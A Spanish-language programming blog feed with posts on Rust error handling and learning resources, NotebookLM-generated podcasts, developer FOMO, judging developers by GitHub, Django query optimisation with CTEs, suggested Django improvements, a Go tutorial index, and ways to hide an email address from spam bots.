Result, otro enum, este representa una operación exitosa (Ok) o fracasada (Err).

fn divide(a: i32, b: i32) -> Result<i32, String> {
    if b == 0 {
        Err("Cannot divide by zero".to_string())
    } else {
        Ok(a / b)
    }
}

Expect

expect un método que retorna el valor, ya sea Option o Result entra en pánico ~~(como tú)~~ si hay un error o un None.

let x = Some(5).expect("Value not found");

? operator

El operador ? propagada el error en un tipo Result, retorna el error si existe o desenvuelve el valor que contiene Ok.

fn read_file() -> Result<String, std::io::Error> {
    let content = std::fs::read_to_string("file.txt")?;
    Ok(content)
}

Encontré este recurso que explica el manejo de errores en Rust de una manera accesible y sencilla, leelo detenidamente.

Combinar traits, impl y generics en Rust es difícil

Los traits piensa en ellos como interfaces, (de las cuales ya te hable en mi post sobre el polimorfismo en Go) , mezclados con generics, pueden llegar ser difíciles de comprender.

En el ejemplo de abajo usamos un generic en un struct, para indicarle que grade puede ser cualquier tipo, y en la implentación nos aseguramos que este genérico satisfaga al trait Display, para que pueda ser impreso.

// Taken from rustlings exercises, see the final part of this post
// Display is a trait here
use std::fmt::Display;

// Grade can be anything as long as ...
struct Report<T> {
    grade: T,
    student_name: String,
    student_age: u8,
}

// it satisfies the display Trait
impl<T: Display> Report<T> {
    fn print(&self) -> String {
        format!(
            "student: {} ({}) - achieved a grade of {}",
            &self.student_name, &self.student_age, &self.grade,
        )
    }
}

¿Dónde aprender Rust?

Para finalizar este post, te comparto algunos recursos que puedes usar para aprender Rust, pero considera que dominar Rust no es una tarea de un fin de semana.

The Rust Book en múltiples idiomas

Rust cuenta con su propia biblia, llamada “The Rust book”, disponible en múltiples idiomas , español incluido . El libro está muy bien explicado y es muy fácil de seguir, eso sí, es un poco largo, aunque es entendible dada la gran cantidad de conceptos a exponer.

Educative

Si leer un libro grueso no es tu estilo y prefieres una educación de primera, educative tiene the ultimate guide to rust programming por menos del precio de una comida bien servida.

Platzi

Platzi es de los pocos cursos en español de Rust , sin embargo te seré sincero, no tengo idea de que tan buenos sean porque esos no los he tomado.

Canales de youtube para aprender Rust

También encontré que los videos de Code to the Moon (en inglés) , son bastante sencillos de entender y el autor del canal explica muy bien los conceptos de Rust.

El canal Let’s get Rusty (en inglés) también tiene algunos tutoriales que te ayudarán a entender mejor los conceptos.

Rustlings

Rustlings contiene una serie de ejercicios para aprender y praticar Rust a la par que se lee la biblia de Rusto.

La recompensa que te ofrece Rustling al terminar todos los ejercicios, cangrejo en pixel art

Rust no es tan difícil de aprender

Rust no es exageradamente difícil, hay lenguajes más complicados o que requieren un completo cambio de paradigma para programar en ellos, como Haskell, por ejemplo.

Rust es elegante pero hay otros lenguajes más simples

Ciertamente Rust es uno de los lenguajes más elegantes que hay, sin embargo a veces se prefiere la productividad y la comodidad a la belleza y la elegancia, incluso grandes empresas como Typescript prefirieron usar Go en lugar de Rust para su compilador . Tienes que hacerte la misma pregunta independientemente del resultado, Rust puede ser el lenguaje que necesitas o tal vez no, cualquiera de las dos respuestas está perfectamente bien.

Pero no negaré que aprender Rust es más complicado que aprender Go, o aprender Python, incluso me atrevo a decir que es más complicado aprenderlo que C, por otro lado es más fácil escribir mal código en C que en Rust.

Hasta ahora, pareciera que estoy quejándome de las decisiones tomadas al diseñar este lenguaje, pero no, solo estoy exponiendo las partes con las que tuve un poco más de fricción, pero, tomando en cuenta lo amplio que es el lenguaje, podrás darte cuenta que realmente es una mínima parte.

La mayor parte de la sintaxis de Rust es bastante sencilla, y algunas de las cosas con las que tienes que lidiar, te ahorran los dolores de cabeza de tener que depurar fugas de memoria o punteros nulos, lo cual es un intercambio interesante.

Google Notebooklm Transformará A Los Podcasts Para Siempre

Wed, 02 Oct 2024 12:32:42 -0600

Acabo de probar Google Notebooklm, y esta sensación de novedad y emoción se apodera de mi mente; como cuando un niño recibe lo que pidió de navidad, con la diferencía de que yo no pedí que esta herramienta existiera, pero aquí está de cualquier forma.

Notebooklm te deja crear un podcast a partir de tus notas

Seguramente ya has escuchado hablar de esta herramienta, y si no, pues te explico a continuación.

Google Notebooklm es una herramienta de AI que se vuelve un experto en tus notas y te ayuda, pero esto no es lo que me ha dejado boquiabierto, sino su herramienta que transforma tus notas en una conversación entre dos personas, ~~por ahora solo disponible en idioma inglés~~ disponible ya en varios lenguajes, y te muestro ahora mismo el resultado.

Las personas suelen preferir el contenido audiovisual sobre el texto

Este podcast lo he generado usando mi entrada sobre el problema de usar github para evaluar a los desarrolladores

Podcast generado mediante google notebooklm

Puedes crear el tuyo en Google Nootebooklm

Google ha hecho un trabajo excelente, por favor aprecia el tono, el audio limpio, incluso le ha añadido muletillas y una que otra pausa dudando para otorgarle un ligero toque de naturalidad y realismo. Nada mal para una caja negra hecha de código que aún no es consciente ¿no crees?

¿Notebooklm y los demás modelos reemplazarán a los podcasts?

La pregunta inevitable (y sus variantes) siempre que hay un avance significativo en el campo de las inteligencias artificiales: ¿Devin AI va a reemplazar a los desarrolladores? o ¿es solo un sintoma más de la burbuja de AI que estamos presenciando?

No creo que sea tan simple, lo interesante de este asunto es tratar de encajarlo en este colosal rompecabezas de modelos de AI que se alza frente a nosotros ahora mismo.

Imagínate, eleven labs puede convertir texto a diferentes voces, Notebooklm es capaz de transformar notas en un podcasts, Lumalabs o Pika pueden transformar imágenes en video. ¿Ya lo visualizas? Un podcast completo, con voces y rostros personalizables, en video, difícilmente distinguible de un podcast “real”.

Nos espera un futuro de podcast AI comoditizados

En un mundo en el que puedes crear podcasts monetizables en cuestión de minutos, este tipo de contenido se volverá abundante en poco tiempo, igual que está pasando ahora mismo con todos esos canales que solo le ponen voces a los posts en reddit, o aquellos que usan imágenes y voces de AI para animar cuentos folclóricos.

I can foresee this in the next year

Poder entrenar un modelo con material de podcasts pasados o con escritos, para emular fielmente el estilo podrá ahorrarle horas de trabajo a los creadores de contenido, imagínate, generas el podcast completo con AI y luego solo lo editas para reemplazar aquellas partes que te parezcan sosas y ¡voilá! tienes un podcast que se siente humano en segundos.

O puedes llevarlo más allá y crear escenarios bastante interesantes como este donde los locutores del podcast AI descubren su propia naturaleza no humana .

Posible reacción no tan positiva del mercado a los podcasts de AI

Ahora, esto también puede cambiar el mercado de los podcasts para siempre, la gente adora conectar con otros seres humanos, y no todos se sentirán cómodos sabiendo que pasarán 2 horas escuchando un podcast que probablemente regurgitó una AI, quizá algunos dediquen un par de minutos más a buscar una versión humana.

No todas las personas piensan en la inteligencia artificial de manera positiva

Así que no, no van a desaparecer los podcasters, especialmente los grandes, pero subirá el listón, ahora un podcast mediocre, monótono, promedio que sea indistinguible de uno generado por IA será tratado como tal.

Por otro lado, el escepticismo hará que muchas personas prefieran contenidos más difíciles de imitar por una AI (al menos por ahora), como los videos, o los live, sepultando en el olvido al contenido escrito.

Notebooklm y la posible muerte del contenido escrito y el blogging (Sí, otra vez)

No es ningún secreto que los videos se convirtieron en la opción más popular para consumir contenido en estos últimos años.

Desconozco si es una jugarreta de mi imaginación pero siento que las personas cada vez leen menos. El formato de audiovisual, si bien es más superficial, permite conectar emocionalmente de una mejor manera con los consumidores, probablemente debido a nuestra naturaleza social y colectiva que se seleccionó naturalmente mucho antes de la aparición de la escritura.

¿Qué se siente escuchar un podcast?

Ahora que un podcast es tan fácil de generar a partir de texto escrito, ¿quién va a preferir sumergirse en un mar de letras en lugar de ceder al tentador llamado de una voz humana?

¿No se siente acaso ahora el blogging como el boceto o el guión de lo que debería ser un contenido audiovisual, como si fuera un producto sin terminar? La verdad es que me aterra pensar en la respuesta, me parece que estamos a las puertas de una distopia Orwelliana, pero yo soy incapaz revertir la tendencia y no puedo más que observar impotente.

Tendré que hacer más videos.

En Wall-e también dominaba el contenido audiovisual en lugar del texto

Cuidado Con El Shiny Object Syndrome Y El FOMO En El Desarrollo Web

Sun, 08 Sep 2024 00:00:00 +0000

Con todos los rápidos cambios que ocurren en el desarrollo web: frameworks, lenguajes, herramientas, librerías, etc. Es inevitable sufrir un poco de Shiny Object Syndrome y algo de FOMO. Pero es conveniente identificar estos impulsos y su naturaleza para evitar sufrir las consecuencias de ignorarlos.

Shiny Object Syndrome en el desarrollo web

El Shiny Object Syndrome (síndrome del objeto brillante, SOS de ahora en adelante) es la tendencia de ser distraido por una idea o tendencia nueva. En el marco del desarrollo web esta idea o tendencia puede ser cualquier cosa: un nuevo framework, un nuevo lenguaje, un editor nuevo, etc. Déjame te lo explico con un ejemplo.

Uy, un nuevo framework de Javascript, tengo que probarlo

Imagina que quieres crear una nueva aplicación, pero escuchaste que salió un nuevo framework de Javascript con un rendimiento excepcional que promete facilitarte las cosas, por lo que decides aprender este nuevo ~~blazingly fast~~ framework para implementar tu nueva idea, posteriormente descubres que salió otro framework aún mejor, por lo que, a pesar de que ya llevabas la mitad del proyecto, decides refactorizar tu aplicación usando este nuevo framework y retardas nuevamente el desarrollo de tu app.

Pudiste haber implementando tu nueva idea usando el framework que ya conocías, y terminar antes, pero decidiste perder tu tiempo, atención y recursos con cada nuevo “objeto brillante” que aparece.

¿Te ha pasado o solo a mi?

FOMO o Fear of Missing Out en el desarrollo web

El FOMO es una ensimismamiento generalizado de que otros podrían experimentar vivencias agradables de las cuales estariamos ausentes. En el marco del desarrollo web esta vivencia agradable también podría ser la popularización de un nuevo lenguaje de programación, o un nuevo tipo de API que parece facilitar las cosas, o un nuevo framework de Javascript (sale uno nuevo cada semana).

Todos están aprendiendo Rust, yo también debería aprenderlo

Por ejemplo, imagínate que un nerd crea un nuevo lenguaje de programación, que promete ser más rápido, más seguro y es adoptado rápidamente por la comunidad. Los sentimientos de ansiedad empiezan a invadirte, “¿y si todos empiezan a usar ese nuevo lenguaje?”, “¿y si estoy perdiendo el tiempo usando los lenguajes que ya domino y todos se dieron que cuenta que el nuevo lenguaje es el futuro?”

¿Se te viene a la mente algún lenguaje o tecnología en especial?

Diferencias entre el Fear Of Missing Out y el Shiny Object Syndrome

Aunque ambos fenómenos se parezcan, hay varias diferencias, principalmente en el efecto que tienen sobre nosotros.

FOMO	SOS
Miedo o ansiedad de ser dejado atrás o fuera	La novedad te distrae
Impacta en tu bienestar y comportamiento social	Impacta en tu productividad y concentración
Puede llevar a comprometerse en exceso con actividades o experiencias por miedo a perdérselas.	Da lugar a decisiones impulsivas para cambiar de proyecto o de dirección

¿Por qué es importante considerar el FOMO y el SOS en el desarrollo web?

Mis ejemplos anteriores no hablan de ninguna tecnología en específico, pero estoy seguro de que se te vinieron a la mente varios lenguajes, frameworks y tecnologías mientras leías los párrafos anteriores.

Ejemplo del SOS y el FOMO en el desarrollo web

Yo me atreveré a nombrarte algunos ejemplos que pasaron por mi mente al escribir esta entrada:

Graphql : Adoptado por muchísimas personas incluso aunque probablemente solo necesitaran una API REST .
JWT : Usado como una “mejora” a las sesiones y autenticación, incluso aunque varios expertos en seguridad informáticas recomendaban no usarlas de esa manera.
CSR, SSR y SSG: Los desarrolladores rápidamente se dieron cuenta de que siempre fue mejor generar el HTML directamente desde el servidor o usar archivos estáticos, como se había hecho siempre, por razones tales como el SEO.
AI: ¿ Será la AI una burbuja en la que es mejor entrar o pasará igual que con la revolución cripto?
WASM: No es que WASM no sea útil, todo lo contrario, lo que ocurre es que algunos pensaban que todos los sitios iban a estar codificados en Rust o en algún lenguaje de bajo nivel, lo que por supuesto no ha ocurrido.

Consecuencias del SOS y el FOMO en el desarrollo web

El FOMO y el SOS pueden impactar decisiones de diseño, arquitecturas, stacks y debemos ser muy cuidadosos de no precipitarnos al elegir algo basándonos en nuestras emociones o en corazonadas, nuestras decisiones deben estar basadas en argumentos racionales y se deben de considerar aspectos tales como la madurez de una tecnología (Como el framework Django o React), su estabilidad a lo largo del tiempo, su proyección a futuro, lo fácil que es encontrar nuevos desarrolladores que la dominen o, en su defecto, capacitar al persona existente e incluso aspectos como si el respectivo proyecto recibe financiación de terceros que le permita seguir operando.

No Uses Github Para Evaluar A Los Desarrolladores

Tue, 06 Aug 2024 10:13:00 -0600

Si eres de los que usan las contribuciones de Github para evaluar a tus candidatos, o clientes, te explico porque necesariamente no es una buena idea.

Es una práctica común usar Github para evaluar las capacidades de un desarrollador, pero hacerlo a ciegas, ignorando la siguiente serie de factores, haría que tu ignorancia te costara acceder a candidatos con un mayor potencial y experiencia en el funcionamiento del mundo del software.

Un github vacio no significa ser incompetente

“La ausencia de evidencia no es evidencia de ausencia” o, puesto en otras palabras, que la persona no tenga código de excelente calidad en Github, no significa que no pueda escribirlo.

Esto es sólo una representación de cómo un gráfico de contribución de github puede ser un reflejo de la vida de alguien

¿Pero porqué alguien no querría mostrar la ~~horrible calidad de su código hecho en javascript~~ calidad de su código? Una de las razones es que probablemente esté demasiado ocupada escribiendo código que sí paga, en lugar de contribuir al open source.

Tweet incendiario que desencadena acaloradas discusiones

No todos tienen un día extra cada semana para dedicarlo al open source, algunos tienen responsabilidades extras más allá del trabajo, como criar una familia, cuidar de padres enfermos o proyectos personales.

Irónicamente mi github luce así:

Mis contribuciones en Github

No todos las programadores adoran el open source

Sí, como ya sabes no todos son ~~fans del Slavoj Žižek del software libre: Richard Stallman~~ tan altruistas para contribuir código a la humanidad sin esperar nada a cambio, ¿podríamos culparlos?, ¿no están siendo hipócritas la mayoría de las empresas? ¿Acaso las empresas que usan Github para evaluar a sus candidatos tienen su base de código como open source?

Microsoft, Github y los escándalos relacionados con el robo de código

Microsoft nunca ha sido conocida por su ética a la hora de hacer negocios, desde sus inicios se ha visto implicada en alborotos relacionados con el robo de código . Además ha mantenido esa fama viva a base de escándalos como:

Cuando Microsoft copió el código de una startup de micro-blogging y lanzó su propio servicio.
Cuando su AI, Github copilot, copió descaradamente el código de unos investigadores

Considerando lo anterior, e independientemente de la veracidad de las afirmaciones, no me extrañaría que algunos desarrolladores opten por mantener su código fuera de las manos de Microsoft y sus servicios, Github incluído, por supuesto.

Github meme de los invencibles

No todos los proyectos está en Github, existen Bitbucket, Gitlab, Gitea y otros

Github es el servicio de facto para el manejo de repositorios en linea, pero existen otras opciones tales como Bitbucket, Gitlab, Gitea, launchpad, que aunque carecen del tamaño y la cantidad de servicios ofrecidos por Github, compensan con una mejor reputación.

Meme que surgió tras la compra de Github por parte de Microsoft

Algunos desarrolladores prefieren usar estas alternativas como una respuesta al monopolio de Github o quizás por razones tan banales como preferir una UI sobre otra.

¿Hay que ignorar entonces los proyectos de Github? Por supuesto que no, pero juzgar las capacidades de una persona sólo por la presencia o ausencia de código en Github es pecar de ingenuo.

Arregla querys lentas en Django al usar annotate y subqueries

Fri, 12 Jul 2024 23:51:01 -0600

El ORM de Django es bastante útil y versátil, puede realizar la mayoría de las operaciones frecuentes de SQL, tales como filtrar, particionar, realizar joins u ordenar información, crear alias, y es una de las mejores características que Django ofrece , pero también tiene sus limitaciones, sobre todo cuando se combina con subqueries, hoy te platico de una de sus limitaciones y como resolverla.

Django annotate y subqueries, un problema de rendimiento

La función Django annotate, de la que ya te hablé en una entrada donde explico las diferencias que existen entre annotate y aggregate en Django, sirve para agregar información a una consulta SQL, esta información puede ser un promedio, una sumatoria o cualquier otra cosa que quieres, el problema ocurre cuando esa información proviene de una subquery.

Permíteme darte un ejemplo:

from django.db.models import F
from django.db.models.expressions import Subquery

first_subquery = Subquery(...)
second_subquery = Subquery(...)

queryset = YourModel.objects.annotate(first_annotation=first_subquery)
    .annotate(second_annotation=second_subquery)
    .annotate(
        third_annotation=F("first_subquery") - F("second_subquery"))
    .annotate(
        fourth_annotation=((F("first_subquery") - F("second_subquery")) / F("second_subquery"))
    )

El problema aquí surge cuando mezclamos subqueries con annotate, y luego procedemos a utilizar esas anotaciones en otras anotaciones.

Django no tiene la capacidad de reconocer que ya está repitiendo las subqueries una y otra vez, por lo anterior, el SQL que genera repite las mismas subqueries una y otra vez, lo que resulta en una consulta con un rendimiento pobre; caemos en el famoso problema de las n+1 queries.

El SQL generado por Django usando annotate y subqueries es ineficiente

Peor, ¿dónde está el problema exactamente? El ORM de django traduce la queryset anterior en la siguiente consulta SQL:

SELECT columns
        (SELECT ...first_subquery - SELECT ...second_subquery) AS "third_annotation",
        (SELECT ...first_subquery - SELECT ...second_subquery)/(SELECT ...first_subquery) as "fourth_annotation",
        (SELECT ...first_subquery) as "first_annotation",
        (SELECT ...second_subquery) as "second_annotation"
    FROM table_a LEFT OUTER JOIN table_b
    ON table_a.id = table_b.id
    GROUP BY table_a.id ...

Observa como Django está reutilizando el SQL de cada subquery múltiples veces durante la consulta, en lugar de realizar la consulta una única vez y luego reutilizar ese valor.

Si no sabes como se obtiene la consulta SQL que genera el ORM de Django, te lo recuerdo, qs representa tu queryset:

print(qs.query)

¿Cómo se soluciona esto? Pues una de las maneras de arreglar esta consulta SQL es utilizar las Common Table Expressions (CTEs), sin embargo, a la fecha en la que escribo esto, Django no tiene soporte para las Common Table Expressions (CTEs), por lo que tendremos que utilizar una raw query en lugar de los métodos que ya provee el ORM de Django.

Usar Common Table Expressions (CTEs) para mejorar el rendimiento de annotate y subqueries

La solución es crear una raw query, recuerda que las versiones modernas de django puedes usar el método raw de tu model manager para que Django automáticamente lo asigne a un objeto queryset de tu respectivo modelo

qs = YourModel.objects.raw("YOUR_SQL_RAW_QUERY_GOES_HERE")

La consulta SQL con las Common Table Expressions (CTEs) que usaremos tendría la siguiente forma:

WITH my_cte AS (
    SELECT 
        a.column
        (SELECT ...subquery_one) AS first_annotation, 
        (SELECT ...subquery_two) AS second_annotation
    FROM table_a 
    LEFT OUTER JOIN table_b 
    ON table_a.id = table_b.id 
    GROUP BY table_a.id ...
)
SELECT 
    columns,
    first_annotation, 
    second_annotation, 
    first_annotation - second_annotation AS third_annotation,
    (first_annotation - second_annotation)/first_annotation AS fourth_annotation
FROM my_cte;

Ahora, ¡mira! Como puedes ver las subconsultas están entre paréntesis y cada una de ellas aparece una sola vez. El uso de Common Table Expressions (CTEs) nos permite utilizar una consulta eficiente, evitando múltiples consultas repetitivas a la base de datos y nos dará un rendimiento que supera a la consulta del ORM de Django en varios órdenes de magnitud (he conseguido reducir el tiempo de ejecución de algunas consultas de 13 segundos a tan sólo 0,7 segundos).

Usar las Common Table Expressions (CTEs) nos permitirá una consulta eficiente, evitando múltiples consultas repetitivas a la base de datos y nos ofrecerá un rendimiento que supera enórmemente al ORM de Django por varios órdenes de magnitud. Quizás implementar CTEs sea una de las acciones que se pueden tomar para mejorar el Django framework.

¿Cómo mejorar Django Framework?

Sun, 23 Jun 2024 00:00:00 +0000

El 21 de Junio del 2024 inicié un hilo en reddit con la siguiente pregunta: “What would you improve about Django framework?” (¿Qué mejorarías de Django Framework?). La respuesta de la comunidad fue inmediata y la conversación se lleno rápidamente de sugerencias parar mejorar Django framework que van desde las modestas hasta algunas bastante radicales. Te resumo los resultados a continuación.

HTMX meme

¿Mejorar Django Framework con type hints?

Este fue el comentario que recibió más apoyo de la comunidad. A pesar de que Python ya cuenta con Type Hints opcionales desde su versión 3.5, parece que su implementación con el propósito de modernizar Django Framework no parece ser una prioridad.

Comentario con más apoyo sobre como mejorar Django Framework

La popularidad de los type hints es tal, que algunos usuarios que los consideran una mejora significativa al framework han desarrollado una librería externa, llamada django-stubs , que se propone renovar a Django Framework con type hints.

Los type hints ya fueron evualuados y rechazados

Sin embargo, según los usuarios de reddit, no hay mucho interés por parte de los encargados del código para incorporar estos cambios como parte del código. Incluso ha hanido propuestas para incorporar los type hints en el repositorio oficial de Django , pero estos cambios han sido desestimados, probablemente debido a que consideran el tipado como una contradicción a la naturaleza de Python como un lenguaje dinámico.

En caso de que no lo sepas, los type hints te permiten declarar el tipo de una variable, argumento o el valor de retorno de una función para que sea más sencillo identificar los bugs o comportamientos no deseados. Piensa en los type hints de Python como el Typescript de Python, o como un tipado estático opcional de algún lenguaje compilado, como C, C++ o Rust.

Usar un User model personalizado en lugar del User model normal

El segundo comentario que recibió más apoyo afirma que personalizar el modelo User de Django es bastante complicado, sobre todo si se hace a mediados de un proyecto, específicamente cambiar el tipo de login por defecto de Django, de usuario a correo electrónico.

Segundo comentario con más apoyo sobre como mejorar django framework

A pesar de que hay múltiples maneras de personalizar el modelo User en Django , tales como usar un modelo proxy, o heredar de AbstractUser, algunos usuarios consideran que esa solución se siente “hackish” (podríamos traducirlo como forzada o chapucera).

Por si no lo sabes, Django usa por defecto el *username* de su modelo de *User*, en combinación con el password, para loggear un usuario. Pero la tendencia actual en el desarrollo web es utilizar directamente el correo electrónico.

Soporte para REST en Django sin librerías de terceros

A pesar de que Django cuenta con una de las mejores librerías para crear una aplicación que cumpla las características de una API REST ; DRF (Django Rest Framework). Los usuarios de reddit consideran que Django debería brindar soporte para las API REST “out of the box”, como parte nativa del framework.

La anterior me parece una propuesta interesante pero también entiendo que, a pesar de la madurez de REST, darle preferencia sobre el resto de APIs, como por ejemplo el moderno gRPC de Google , SOAP, o alguna API que aún no ha emergido, puede ser considerado como un paso bastante arriesgado por el comité de Django. Sí, inclusive aunque existan librerías completas basadas en REST, como FastAPI

Leer las variables entorno en Django sin librerías de terceros

Django puede leer las variables de entorno utilizando directamente la librería os de Python, pero otras librerías, como django-environ , han sido desarrolladas para proveer una solución más robusta, en donde sea lea directamente desde un archivo .env y en donde la ausencia de una variable de entorno haga fallar la aplicación, garantizando que una aplicación de Django no pueda iniciar si falta tan solo una variable de entorno, que es lo que me imagino que los desarrolladores de este popular foro desean.

import os

os.environ["VARIABLE"]

Otros frameworks que sí leen variables de entorno

Contrario a Django, Frameworks como Nextjs cargan las variables de entorno de manera predeterminada e inclusive te permiten volver públicas algunas de ellas mediante el prefijo NEXT_PUBLIC_ pero en el caso de Django es necesario cargar las variables que se requieran de manera manual o utilizar una librería de terceros.

Integración nativa de Django con el frontend

No es ningún secreto que el frontend ha recibido un impulso gigantesco en los últimos años, librerías como React, Vue, Svelte y otras han tomado un protagonismo remarcable en los últimos años, cambiando por completo el paradigma del desarrollo en el lado del cliente. Django se ha mostrado agnóstico respecto a la separación entre Backend y Frontend, probablemente porque Django es un framework monolítico (y lo digo de forma no peyorativa).

Supongo que algunos usuarios consideran que Django no debería quedarse atrás y debería proveer opciones de integración con algunas librerías frontend para favorecer la reactividad de las aplicaciones, tal como Nextjs hace desde algún tiempo, pues te permite seleccionar la librería frontend con la cual trabajar e inclusive se encarga de la minificación y el tree-shaking del código a través de Webpack o su compilador experimental escrito en Rust.

Mejorar Django con HTMX

A mi me parece que Django ya hace un excelente trabajo con su sistema de plantillas y que combina perfectamente con librerías como HTMX , para poder aprovechar todo el poder del hipertexto sin la necesidad de incorporar Javascript al proyecto.

Delirio de Javascript de acuerdo a HTMX

Sin más que agregar te dejo el enlace a la discusión por si quieres ver el resto de sugerencias sobre como mejorar Django Framework.

Otras sugerencias sobre cómo mejorar Django framework

Entre las demás sugerencias me gustaría destacar las siguientes, pues se recibieron un apoyo menor o se repitieron a lo largo del hilo:

Agregar soporte para CTEs a su ORM
Mejor manejo de formularios
Mejor manejo de contenido estático con énfasis en los frameworks frontend más populares
Soporte “out of the box” para colas
Recarga en caliente del navegador
Generador básico de CRUD boilerplate
Precarga automática de modelos relacionados.

Sugerencias que terminaron siendo librerías de terceros

Go Programming Language Tutorial

Sat, 08 Jun 2024 14:10:45 -0600

He escrito una serie de entradas que intentan servir de guía e introducción para aprender el lenguaje de programación Go. Este tutorial requiere que conozcas al menos las bases de la programación, por lo que probablemente sea una buena idea leerlo sólo si estás aprendiendo Go como tu segundo o tercer lenguaje de programación. Este contenido va desde la sintaxis básica de Go hasta usos avanzados como la captura de señales o la contenedorización.

Introducción al lenguaje Go y Sintaxis Básica

Introducción al lenguaje de programación Go, tipos de datos nativos, variables, la polémica en torno a este lenguaje, lo bueno, lo malo, lo feo e incluso un vistazo a su popular, y a veces odiada, mascota.

Go lenguaje de programación introducción a variables y tipos de datos

Cómo crear funciones go y pasarles argumentos, junto con la base del paquete fmt utilizado para imprimir texto por pantalla

Go: funciones, argumentos y el paquete fmt

Domina los diferentes tipos de bucles que existen en go, aprende a utilizar el control de flujo para ejecutar tu código condicionalmente y conoce las cláusulas break, continue y defer.

Go: ciclos for, break, continue, defer, if y else

Crear array y slices y conocer sus diferencias y cómo iterar sobre ellos correctamente usando range.

Go: slices y arrays

Aprende cómo funcionan internamente los map o diccionarios, las diferentes formas de crearlos y cómo iterar sobre ellos usando range.

Go: maps o diccionarios

Lee sobre las principales diferencias que existen entre string, runas y bytes en go, cómo funcionan internamente y sus principales métodos relacionados.

Go: strings, runes y bytes

Tutorial de Lenguaje de Programación Go: Programación orientada a objetos

Go no tiene clases, pero puedes emular características de POO (polimorfismo, herencia y encapsulación) usando go structs.

Go: Structs, herencia, polimorfismo y encapsulación

Cómo manejar e importar y referenciar paquetes y módulos en go.

Go: importación de paquetes y manejo de modulos

Tutorial de Lenguaje de Programación Go: Concurrencia y Corrutinas

La característica que hace destacar a go: concurrencia y goroutines, aprende a crearlas y manejarlas.

Go: introducción a las goroutines y concurrencia

Aquí te explico cómo comunicar goroutines a través de canales y los principios fundamentales a tener en cuenta cuando se trabaja con código concurrente.

Go: uso de channels o canales para comunicar goroutinas

Entender el concepto de deadlocks en el contexto del trabajo con goroutines, cómo evitarlos y qué causa este problema.

Go: channels, entendiendo los deadlocks o puntos muertos

Los fundamentos de las condiciones de carrera cuando se trabaja con código concurrente y cómo prevenirlas. Crear código resistente a condiciones de carrera usando mutexes en Go

Go: condiciones de carrera en goroutines y mutex

Tutorial de Lenguaje de Programación Go: Pruebas y Registro

La base de las capacidades de prueba y cobertura de go.

Go: testing básico y coverage

Cómo perfilar y examinar el rendimiento del código usando go.

Go: profiling o perfilado básico del uso del CPU

Cómo usar la librería de logging por defecto en el lenguaje de programación go.

Logging con la librería estándar en Go

Aplicaciones Go

Cómo capturar señales y procesarlas en go para finalizar la ejecución de tu código de forma elegante y segura.

Go: Manejo de Signals para Cerrar Aplicaciones

Aprende a manejar migraciones SQL usando la librería migrate de go

Tutorial de migraciones en Go con migrate

La base de la librería reflection de go y cómo crear código flexible que trate con tipos desconocidos

Go con Reflect: Mayor Flexibilidad En Tu Código

¿Sabías que Docker está escrito en Go? ¿Te has preguntado alguna vez cómo funciona internamente un contenedor Docker? Pues aquí te explico todos los conceptos que necesitas saber para crear tu propia tecnología de contenedorización.

¿Cómo Funciona un Container de Docker Internamente?

Explico el patrón de diseño worker pool en go y cómo aprovechar la concurrencia de Go y este patrón de diseño para limitar la cantidad de recursos que utiliza tu aplicación.

Explicación del Patron De Diseño Worker Pool

¿Cómo evitar el spam al colocar un email en un sitio web?

Wed, 29 May 2024 14:46:07 -0600

A veces queremos colocar un email en un sitio web pero sin arriesgarnos a que algún bot la lea y nos incluya en una lista de publicidad, recordándonos nuestros problemas para iniciar una relación carnal con las dos mujeres maduras que viven a menos de dos kilómetros de distancia. Y como no queremos eso, hay varias cosas que podemos hacer para solucionar esto y aquí te presento algunas, la última es la que yo suelo utilizar y también mi favorita.

Convertir tu email en una imagen

Esta manera de proteger tu dirección de email no requiere una explicación detallada, simplemente transforma tu email en una imagen y colócala, tu dirección estará segura ante cualquier bot que scrapee texto, pero será vulnerable a cualquier bot con capacidades de OCR (Reconocimiento óptico de carácteres), bots con pytesseract por ejemplo , los cuales pronostico que serán pocos, sino es que ninguno.

La desventaja de esta aproximación es que la persona que desee mandarte un email tendrá que teclearlo manualmente, pues no puede hacer copy-paste, y ya sabes que cada paso extra añade fricción al proceso de conversión.

Utiliza una notación diferente para el email

En lugar de utilizar el clásico formato como my@email.com , cámbialo por algo menos obvio para los bots, como my [at] email [dot] com, de esta manera tu dirección no será detectada como un email por los bots menos sofisticados y si alguien quiere enviarte un email basta con reemplazar el at y el dot por sus símbolos correspondientes.

Una opción bastante balanceada en mi opinión, aunque si se populariza estoy seguro de que mis embajadores de la fábrica de pastillas azules encontrarán la forma de obtener la valiosa información que necesitan.

Pídele al usuario que genera el email con información extra

Otra manera es no colocar directamente el email, pero sí una pista de como puede deducirse, por ejemplo si el sitio se llama lain.com puedes colocar un texto a manera de pista que diga algo como:

“Mi email es el nombre que aparece en la url y es una dirección de correo electrónico de google”.

Con eso entenderá que la dirección es lain@gmail.com .

Solo trata de no complicar las cosass bastante aquí, no sobrestimes las capacidades deductivas del internauta promedio.

Usa un formulario en lugar de un email

Otra opción es olvidarte completamente de colocar tu correo y usar un formulario en su lugar, de esta manera tu correo estará seguro y puedes dirigir los emails a una cuenta única que destines a ese solo propósito

Protege tu formulario del spam con un captcha

Algunos bots intentarán llenar el formulario para enviarte publicidad pero siempre puedes utilizar un captcha para protegerte del spam.

Usa los filtros de personalizados de email

Si no quieres usar captchas puedes dejar la responsabilidad de reconocer el spam a los filtros de tu proveedor de email, o utilizar un filtro creado por ti y combinarlo con alguna instrucción como:

“Para saber que no eres un bot, por favor incluye la palabra gominola en tu email.”

Ahora solo configura tu filtro y elimina automáticamente todos los emails que no cumplan esa condición.

Genera tu email de manera dinámica para evitar el spam

Esta es mi favorita, para lograr esto podemos usar algún tipo de cifrado sencillo, o incluso base64, codificamos nuestra dirección de email en base64 y posteriormente la decodificamos en el frontend de manera dinámica usando Javascript, de esta manera los bots solo verán un montón de números y letras en el código fuente, para leer el email necesitarán renderizar la página con javascript activado, lo que elimina a aquellos bots que solo lean el código fuente de la respuesta.

// this comes from the server
const encodedEmail = "eW91YXJlY3VyaW91c0BpbGlrZWl0LmNvbQ=="
// atob decodes from base64
const decodedEmail = atob(encodedEmail)

Para un usuario común, el email se mostrará tal cual si viniera incluído en el código fuente de la página.

Genera un email de manera dinámica con interacción del usuario

Para hacer más seguro este método de protección podemos retrasar la decodificación hasta que el usuario presione un botón, haga scroll, realice algún movimiento con el mouse o incluso usar el intersection observer para decodificarlo solo si el email está en pantalla; el límite es tu imaginación.

Mi Análisis De Captchas Anti Bots Ventajas Y Desventajas

Sat, 18 May 2024 23:03:15 -0600

